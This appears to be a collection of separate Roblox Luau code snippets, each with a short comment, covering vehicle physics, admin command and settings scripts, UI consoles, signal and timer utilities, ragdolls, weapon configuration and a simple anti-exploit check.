diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi" or _TMode == "Auto") and _GBrake==0)then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot * _GThrotShift
--Apply TCS
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
---[[ Fade Out and In Settings ]]
|
module.ChatWindowBackgroundFadeOutTime = 0 --Chat background will fade out after this many seconds.
module.ChatWindowTextFadeOutTime = 60 --Chat text will fade out after this many seconds.
module.ChatDefaultFadeDuration = 0.8
module.ChatShouldFadeInFromNewInformation = true
module.ChatAnimationFPS = 20.0
|
--[=[
@type ClientMiddleware {ClientMiddlewareFn}
@within KnitClient
An array of client middleware functions.
]=]
|
type ClientMiddleware = {ClientMiddlewareFn}
|
--// F key, HornOff
|
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
veh.Lightbar.HORN.Transparency = 1
end
end)
|
--Head
|
R6HeadYFinish = .4 --Max left and right movement of the Head
R6HeadYStart = .2 --Minimum left and right movement of the Head
R6HeadX = .5 --Side to side movement of the Head
R6HeadZ = .3 --Up and down movement of the Head
|
--Ugh, now i have the M*A*S*H theme stuck in my head.....
|
if string.sub(msg,1,9) == "teleport/" then
danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end--Leet line number...
if #player2 > 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild("Torso")
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild("Torso")
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end
if string.sub(msg,1,6) == "merge/" then
danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end
if msg == "clear" then
local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == "Script" then
if c[i]:FindFirstChild("Is A Created Script") then
c[i]:remove()
end end
if c[i].className == "Part" then
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
c[i]:remove()
end end
if c[i].className == "Model" then
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end end end end
if string.sub(msg,1,5) == "kick/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end
if string.sub(msg,1,4) == "ban/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end
if string.sub(msg,1,6) == "unban/" then
if string.sub(msg,7) == "all" then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. " has been unbanned",1,"Message",speaker)
elseif n == 0 then
text("That name is not found.",1,"Message",speaker)
elseif n > 1 then
text("That name is ambiguous",1,"Message",speaker)
end end end
|
-------------------------
|
function onClicked()
R.Function1.Disabled = false
R.BrickColor = BrickColor.new("Really black")
R.Function2.Disabled = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--Inf amounts tools giver delele "--" to activate and delete line upper or comment them
| |
-- Ride variables
|
GameSettings.Platform = {
["MOVE_SPEED"] = 40
}
|
--
-- THESE ARE THE CORE SETTINGS
-- YOU WILL NOT BE ABLE TO CHANGE THEM IN-GAME
|
local Settings={
--[[
Style Options
������������� ]]
Flat=false; -- Enables Flat theme / Disables Aero theme
ForcedColor=false; -- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0); -- Changes the Color of the user interface
ColorTransparency=.75; -- Changes the Transparency of the user interface
Chat=false; -- Enables the custom chat
BubbleChat=false; -- Enables the custom bubble chat
--[[
Basic Settings
�������������� ]]
AdminCredit=true; -- Enables the credit GUI for that appears in the bottom right
AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace
AutoCleanDelay=60; -- The delay between each AutoClean routine
CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \
FunCommands=true; -- Enables fun yet unnecessary commands
FreeAdmin=1; -- Set to 1-5 to grant admin powers to all, otherwise set to false
PublicLogs=false; -- Allows all users to see the command & chat logs
Prefix=':'; -- Character to begin a command
--[[
Admin Powers
������������
0 Player
1 VIP Can use nonabusive commands only on self
2 Moderator Can kick, mute, & use most commands
3 Administrator Can ban, crash, & set Moderators/VIP
4 SuperAdmin Can grant permanent powers, & shutdown the game
5 Owner Can set SuperAdmins, & use all the commands
6 Game Creator Can set owners & use all the commands
Group & VIP Admin
�����������������
You can set multiple Groups & Ranks to grant users admin powers
GroupAdmin={
[12345]={[254]=4,[253]=3};
[GROUPID]={[RANK]=ADMINPOWER}
};
You can set multiple Assets to grant users admin powers
VIPAdmin={
[12345]=3;
[54321]=4;
[ITEMID]=ADMINPOWER;
}; ]]
GroupAdmin={
};
VIPAdmin={
};
--[[
Permissions
�����������
-- You can set the admin power required to use a command
-- COMMANDNAME=ADMINPOWER; ]]
Permissions={
};
}
return {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}
|
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Takes *n* objects from a table and returns a new table only containing those objects.
|
Table.take = function (tbl, n)
return table.move(tbl, 1, n, 1, table.create(n))
end
|
-- how many bullets are fired at a time
|
local BulletCount = 20
|
--[=[
Provides utilities for working with valuesbase objects, like IntValue or ObjectValue in Roblox.
@class ValueBaseUtils
]=]
|
local ValueBaseUtils = {}
function ValueBaseUtils.isValueBase(instance)
return typeof(instance) == "Instance" and instance.ClassName:sub(-#"Value") == "Value"
end
function ValueBaseUtils.getOrCreateValue(parent, instanceType, name, defaultValue)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[ValueBaseUtils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
return foundChild
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = defaultValue
newChild.Parent = parent
return newChild
end
end
function ValueBaseUtils.setValue(parent, instanceType, name, value)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[ValueBaseUtils.setValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
foundChild.Value = value
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = value
newChild.Parent = parent
end
end
function ValueBaseUtils.getValue(parent, instanceType, name, default)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if foundChild:IsA(instanceType) then
return foundChild.Value
else
warn(("[ValueBaseUtils.getValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
return nil
end
else
return default
end
end
function ValueBaseUtils.createGetSet(instanceType, name)
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
return function(parent, defaultValue)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
return ValueBaseUtils.getValue(parent, instanceType, name, defaultValue)
end, function(parent, value)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
return ValueBaseUtils.setValue(parent, instanceType, name, value)
end, function(parent, defaultValue)
return ValueBaseUtils.getOrCreateValue(parent, instanceType, name, defaultValue)
end
end
return ValueBaseUtils
|
-- NOTE: TEXTBOUNDS.X CANNOT BE MORE THAN TEXTLABEL.ABSOLUTESIZE.X OR YOU WILL GET UNDESIRABLE BEHAVIOR
|
local root = script.Parent
local surfaces = {
'Front',
'Left',
'Back',
'Right'
}
local speed = 2 -- how many seconds it should take to travel across one surface
local size = 2 -- the number of textlabels to move before and after the current one
function GetPreceedingLabels(index)
local labels = {}
for i=1,size do
local this = index-i
table.insert(labels,
root:FindFirstChild(surfaces[this] or surfaces[#surfaces+this], true).Frame.TextLabel
)
end
return labels
end
function GetSucceedingLabels(index)
local labels = {}
for i=1,size do
local this = index+i
|
-- Disconnect all handlers. Since we use a linked list it suffices to clear the
-- reference to the head handler.
|
function Signal:DisconnectAll()
self._handlerListHead = false
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -1
Tune.RCamber = -1
Tune.FCaster = 0
Tune.FToe = 0
Tune.RToe = 0
|
-- initialize to idle
|
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
|
-- {game.Players.ACHRAF_BLOX, game.Players.Shedletsky, game.Players.Esstams92}
| |
--[=[
@type PerServiceMiddleware {[string]: Middleware}
@within KnitClient
]=]
|
type PerServiceMiddleware = {[string]: Middleware}
|
-- << SETTINGS >>
|
Settings={
-- <Prefix>
Prefix =";" ; -- The character used to begin each command
-- <Owner chat colour>
OwnerChatColour = "y" ; --w/r/g/b/p/y OR white/red/green/blue/purple/yellow
-- <Donor Perks> **Please keep enabled to help support the development of HD Admin Commands**
DonorItem = true ;
DonorItemId = 10472779 ;
DonorCommands = true ;
-- <Other>
CmdBar = true ; -- Enabled/disales the cmdbar - press @ to open the cmdbar
HDIcon = true ; -- The HD Icon in the corner of screen (helps support the development HD Admin Commands)
AutoPrompt = false ; -- This prompts all players to take a free copy of the model. Set to 'false' to disable.
FreeAdmin = false ; -- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not. You can not set to 'Owner'.
NoticeSound = 261082034 ; -- Notification sound ID
NoticeSoundVol = 0.5 ; -- How loud the notification sound is. Must be between 0 and 1.
ErrorSound = 138090596 ; -- Error sound ID
ErrorSoundVol = 0.5 ; -- How loud the error sound is. Must be between 0 and 1.
} ;
|
--template for legs
-- local mechLegs = {
-- ["rightLeg"] = {
-- ["CurrentCycle"] = 0,
-- ["LimbChain"] = rightLegChain,
-- ["HipAttachment"]= rightHipAttachment,
-- ["FootAttachment"] = rightStepAttachment,
-- },
| |
-- If the platform is too slow and moveDelay is too fast, then the platform might not reach the destination in time.
|
hideDestinationBlocks = true --[[ If you set this to true, then the destination blocks will be hidden when you play.
Otherwise, set it to false if you want to see them.
------------------------------------------------------------------------------------------------------------------------------]]
|
-- Visualizes a ray. This will not run if FastCast.VisualizeCasts is false.
|
function DbgVisualizeSegment(castStartCFrame: CFrame, castLength: number): ConeHandleAdornment?
--if ClientSettings.Debug.Value == false then return nil end
if true then
return
end
local adornment = Instance.new("CylinderHandleAdornment")
adornment.Adornee = workspace.Terrain
adornment.CFrame = castStartCFrame
adornment.Height = castLength
adornment.Color3 = Color3.new(1, 0, 0)
adornment.Radius = 0.05
adornment.Transparency = 0.5
adornment.Parent = GetFastCastVisualizationContainer()
Debris:AddItem(adornment, 3)
return adornment
end
|
--Gauge
|
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M"
ModelWeld(misc.Tach.Parts,misc.Tach.M)
MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--[[
Builds a map that allows us to find Attachment0/Attachment1 when we have the other,
and keep track of the joint that connects them. Format is
{
["WaistRigAttachment"] = {
Joint = UpperTorso.Waist<Motor6D>,
Attachment0 = LowerTorso.WaistRigAttachment<Attachment>,
Attachment1 = UpperToros.WaistRigAttachment<Attachment>,
},
...
}
--]]
|
function buildAttachmentMap(character)
local attachmentMap = {}
-- NOTE: GetConnectedParts doesn't work until parts have been parented to Workspace, so
-- we can't use it (unless we want to have that silly restriction for creating ragdolls)
for _,part in pairs(character:GetChildren()) do
if part:IsA("BasePart") then
for _,attachment in pairs(part:GetChildren()) do
if attachment:IsA("Attachment") then
local jointName = attachment.Name:match("^(.+)RigAttachment$")
local joint = jointName and attachment.Parent:FindFirstChild(jointName) or nil
if joint then
attachmentMap[attachment.Name] = {
Joint = joint,
Attachment0=joint.Part0[attachment.Name];
Attachment1=joint.Part1[attachment.Name];
}
end
end
end
end
end
return attachmentMap
end
return function(character)
local humanoid = character:FindFirstChild("Humanoid")
-- Trying to recover from broken joints is not fun. It's impossible to reattach things like
-- armor and tools in a generic way that works across all games, so we just prevent that
-- from happening in the first place.
humanoid.BreakJointsOnDeath = false
-- Roblox decided to make the ghost HumanoidRootPart CanCollide=true for some reason, so
-- we correct this and disable collisions. This prevents the invisible part from colliding
-- with the world and ruining the physics simulation (e.g preventing a roundish torso from
-- rolling)
local rootPart = character:FindFirstChild("HumanoidRootPart")
if rootPart then
rootPart.CanCollide = false
end
local attachmentMap = buildAttachmentMap(character)
local ragdollConstraints = buildConstraints(attachmentMap)
local collisionFilters = buildCollisionFilters(attachmentMap, character.PrimaryPart)
collisionFilters.Parent = ragdollConstraints
ragdollConstraints.Parent = character
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name
|
return function(data)
local player = service.Players.LocalPlayer
local playergui = player.PlayerGui
local gui = script.Parent.Parent
local frame = gui.Frame
local text = gui.Frame.TextBox
local scroll = gui.Frame.ScrollingFrame
local players = gui.Frame.PlayerList
local entry = gui.Entry
local BindEvent = gTable.BindEvent
local opened = false
local scrolling = false
local debounce = false
local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey"})
local splitKey = settings.SplitKey
local consoleKey = settings.ConsoleKeyCode
local batchKey = settings.BatchKey
local commands = client.Remote.Get('FormattedCommands') or {}
local scrollOpenSize = UDim2.new(0.36, 0, 0, 200)
local scrollCloseSize = UDim2.new(0.36, 0, 0, 47)
local openPos = UDim2.new(0.32, 0, 0.353, 0)
local closePos = UDim2.new(0.32, 0, 0, -200)
local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
Size = scrollOpenSize;
})
local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
Size = scrollCloseSize;
})
local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
Position = openPos;
})
local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
Position = closePos;
})
frame.Position = closePos
frame.Visible = false
frame.Size = scrollCloseSize
scroll.Visible = false
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
local function close()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollingEnabled = false
frame.Size = scrollCloseSize
scroll.Visible = false
players.Visible = false
scrollOpen = false
consoleCloseTween:Play();
debounce = false
opened = false
end
end
local function open()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll.ScrollingEnabled = true
players.ScrollingEnabled = true
consoleOpenTween:Play();
frame.Size = scrollCloseSize
scroll.Visible = false
players.Visible = false
scrollOpen = false
text.Text = ''
frame.Visible = true
frame.Position = openPos;
text:CaptureFocus()
text.Text = ''
wait()
text.Text = ''
debounce = false
opened = true
end
end
text.FocusLost:connect(function(enterPressed)
if enterPressed then
if text.Text~='' and string.len(text.Text)>1 then
client.Remote.Send('ProcessCommand',text.Text)
end
end
close()
end)
text.Changed:connect(function(c)
if c == 'Text' and text.Text ~= '' and open then
scroll:ClearAllChildren()
players:ClearAllChildren()
local nText = text.Text
if string.match(nText,".*"..batchKey.."([^']+)") then
nText = string.match(nText,".*"..batchKey.."([^']+)")
nText = string.match(nText,"^%s*(.-)%s*$")
end
local pNum = 0
local pMatch = string.match(nText,".+"..splitKey.."(.*)$")
for i,v in next,service.Players:GetChildren() do
if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then
local new = entry:Clone()
new.Text = tostring(v)
new.TextXAlignment = "Right"
new.Visible = true
new.Parent = players
new.Position = UDim2.new(0,0,0,20*pNum)
new.MouseButton1Down:connect(function()
text.Text = text.Text..tostring(v)
text:CaptureFocus()
end)
pNum = pNum+1
end
end
players.CanvasSize = UDim2.new(0,0,0,pNum*20)
local num = 0
for i,v in next,commands do
if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then
if not scrollOpen then
scrollOpenTween:Play();
--frame.Size = UDim2.new(1,0,0,140)
scroll.Visible = true
players.Visible = true
scrollOpen = true
end
local b = entry:Clone()
b.Visible = true
b.Parent = scroll
b.Text = v
b.Position = UDim2.new(0,0,0,20*num)
b.MouseButton1Down:connect(function()
text.Text = b.Text
text:CaptureFocus()
end)
num = num+1
end
end
if num > 0 then
frame.Size = UDim2.new(0.36, 0, 0, math.clamp((math.max(num, pNum)*20)+53, 47, 200))
else
players.Visible = false
frame.Size = scrollCloseSize
end
scroll.CanvasSize = UDim2.new(0,0,0,num*20)
elseif c == 'Text' and text.Text == '' and opened then
scrollCloseTween:Play();
--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
scroll.Visible = false
players.Visible = false
scrollOpen = false
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
end
end)
BindEvent(service.UserInputService.InputBegan, function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
if opened then
close()
else
open()
end
client.Variables.ConsoleOpen = opened
end
end)
gTable:Ready()
end
|
--[=[
@within Timer
@prop Interval number
Interval at which the `Tick` event fires.
]=]
--[=[
@within Timer
@prop UpdateSignal RBXScriptSignal | Signal
The signal which updates the timer internally.
]=]
--[=[
@within Timer
@prop TimeFunction TimeFn
The function which gets the current time.
]=]
--[=[
@within Timer
@prop AllowDrift boolean
Flag which indicates if the timer is allowed to drift. This
is set to `true` by default. This flag must be set before
calling `Start` or `StartNow`. This flag should only be set
to `false` if it is necessary for drift to be eliminated.
]=]
--[=[
@within Timer
@prop Tick RBXScriptSignal | Signal
The event which is fired every time the timer hits its interval.
]=]
| |
--
--
|
local Info = {
-- These are constant values. Don't change them unless you know what you're doing.
-- Services
Players = Game:GetService 'Players',
PathfindingService = Game:GetService 'PathfindingService',
-- Advanced settings
RecomputePathFrequency = 1, -- The monster will recompute its path this many times per second
RespawnWaitTime = 5, -- How long to wait before the monster respawns
JumpCheckFrequency = 100, -- How many times per second it will do a jump check
}
local Data = {
-- These are variable values used internally by the script. Advanced users only.
LastRecomputePath = 0,
Recomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once.
PathCoords = {},
IsDead = false,
TimeOfDeath = 0,
CurrentNode = nil,
CurrentNodeIndex = 1,
AutoRecompute = true,
LastJumpCheck = 0,
LastAttack = 0,
BaseMonster = Self:Clone(),
AttackTrack = nil,
}
|
-- Initialize the tool
|
local MeshTool = {
Name = 'Mesh Tool';
Color = BrickColor.new 'Bright violet';
};
|
--------| Variables |--------
|
local shakeId = 0
|
--[[
Marks the store as deleted, disconnecting any outstanding connections.
]]
|
function Store:destruct()
for _, connection in ipairs(self._connections) do
connection:Disconnect()
end
self._connections = nil
end
|
--
|
script.Parent.Handle3.Hinge1.Transparency = 1
script.Parent.Handle3.Interactive1.Transparency = 1
script.Parent.Handle3.Part1.Transparency = 1
wait(0.03)
script.Parent.Handle1.Hinge1.Transparency = 0
script.Parent.Handle1.Interactive1.Transparency = 0
script.Parent.Handle1.Part1.Transparency = 0
|
-- Implement Signal:Wait() in terms of a temporary connection using
-- a Signal:Connect() which disconnects itself.
|
function Signal.Wait(self: ClassType)
local waitingCoroutine = coroutine.running()
local cn: SignalConnection
cn = self:Connect(function(...: any?)
cn:Disconnect()
task.spawn(waitingCoroutine, ...)
end)
return coroutine.yield()
end
return Signal
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = true
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 1
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.225)
,SlideExtend = Vector3.new(0, 0, 0.225)
|
-- services
|
local Workspace = game:GetService("Workspace")
local Players = game:GetService("Players")
local StarterGui = game:GetService("StarterGui")
|
------/// PUT IN Workspace OR ServerScriptStorage <3 \\\------
| |
--[[
This holds all the logic and user experience for the warmup user interface view.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate
local Players = game.Players
local LocalPlayer = Players.LocalPlayer
local Warmup = {}
local elements = ReplicatedStorage.UIViews.Warmup
local activeElements
|
-- Private Methods
|
function init(self)
local button = self.Button
local listFrame = self.ListFrame
local function contentSizeUpdate()
local absSize = button.AbsoluteSize
local ratio = absSize.y / absSize.x
button.Arrow.Size = UDim2.new(ratio, 0, 1, 0)
button.Option.Size = UDim2.new(1 - ratio, -12, 1, 0)
end
contentSizeUpdate()
self._Maid:Mark(button:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate))
for i, optionButton in next, listFrame.ScrollFrame:GetChildren() do
self._Options[i] = optionButton
optionButton.Activated:Connect(function()
self:Set(optionButton)
end)
end
self._Maid:Mark(button.Activated:Connect(function()
self:Show(not listFrame.Visible)
end))
self._Maid:Mark(UIS.InputBegan:Connect(function(input)
if (VALID_PRESS[input.UserInputType]) then
local p = input.Position
local p2 = Vector2.new(p.x, p.y)
if (listFrame.Visible and not (isInFrame(listFrame, p2) or isInFrame(button, p2))) then
self:Show(false)
end
end
end))
end
function isInFrame(frame, pos)
local fPos = frame.AbsolutePosition
local fSize = frame.AbsoluteSize
local d = pos - fPos
return (d.x >= 0 and d.x <= fSize.x and d.y >= 0 and d.y <= fSize.y)
end
|
----- Initialize -----
|
for _, player in ipairs(Players:GetPlayers()) do
PlayerReference[player] = true
end
RateLimiter.Default = RateLimiter.NewRateLimiter(SETTINGS.DefaultRateLimiterRate)
|
--[=[
@param fn ConnectionFn
@return SignalConnection
Connects a function to the signal, which will be called anytime the signal is fired.
```lua
signal:Connect(function(msg, num)
print(msg, num)
end)
signal:Fire("Hello", 25)
```
]=]
|
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
if self._handlerListHead then
connection._next = self._handlerListHead
self._handlerListHead = connection
else
self._handlerListHead = connection
end
return connection
end
|
-- Mounts the provided humanoid into the look-angle
-- update system, binding all of its current and
-- future Motor6D joints into the rotator.
|
function CharacterRealism:MountLookAngle(humanoid)
local character = humanoid.Parent
local rotator = character and self.Rotators[character]
if not rotator then
-- Create a rotator for this character.
rotator =
{
Motors = {};
Pitch =
{
Goal = 0;
Current = 0;
};
Yaw =
{
Goal = 0;
Current = 0;
};
}
-- If this is our character, the rotation
-- values should not be interpolated while
-- the client is in first person.
local player = Players:GetPlayerFromCharacter(character)
if player == self.Player then
rotator.SnapFirstPerson = true
end
-- Register this rotator for the character.
self.Rotators[character] = rotator
-- Record all existing Motor6D joints
-- and begin recording newly added ones.
local function onDescendantAdded(desc)
if desc:IsA("Motor6D") then
self:AddMotor(rotator, desc)
end
end
for _,desc in pairs(character:GetDescendants()) do
onDescendantAdded(desc)
end
rotator.Listener = character.DescendantAdded:Connect(onDescendantAdded)
end
return rotator
end
|
--Glenn's Anti-Exploit System (GAE for short). This code is very ugly, but does job done
|
local function compareTables(arr1, arr2)
if arr1.gunName==arr2.gunName and
arr1.Type==arr2.Type and
arr1.ShootRate==arr2.ShootRate and
arr1.Bullets==arr2.Bullets and
arr1.LimbDamage[1]==arr2.LimbDamage[1] and
arr1.LimbDamage[2]==arr2.LimbDamage[2] and
arr1.TorsoDamage[1]==arr2.TorsoDamage[1]and
arr1.TorsoDamage[2]==arr2.TorsoDamage[2]and
arr1.HeadDamage[1]==arr2.HeadDamage[1] and
arr1.HeadDamage[2]==arr2.HeadDamage[2]
then return true; end;
return false;
end;
local function secureSettings(Player,Gun,Module)
local PreNewModule = Gun:FindFirstChild("ACS_Settings");
if not Gun or not PreNewModule then
Player:kick("Exploit Protocol");
warn(Player.Name.." - Potential Exploiter! Case 2: Missing Gun And Module") ;
return false;
end;
local NewModule = require(PreNewModule);
if (compareTables(Module, NewModule) == false) then
Player:kick("Exploit Protocol");
warn(Player.Name.." - Potential Exploiter! Case 4: Exploiting Gun Stats") ;
table.insert(_G.TempBannedPlayers, Player);
return false;
end;
return true;
end;
function CalculateDMG(SKP_0, SKP_1, SKP_2, SKP_4, SKP_5, SKP_6)
local skp_0 = plr:GetPlayerFromCharacter(SKP_1.Parent) or nil
local skp_1 = 0
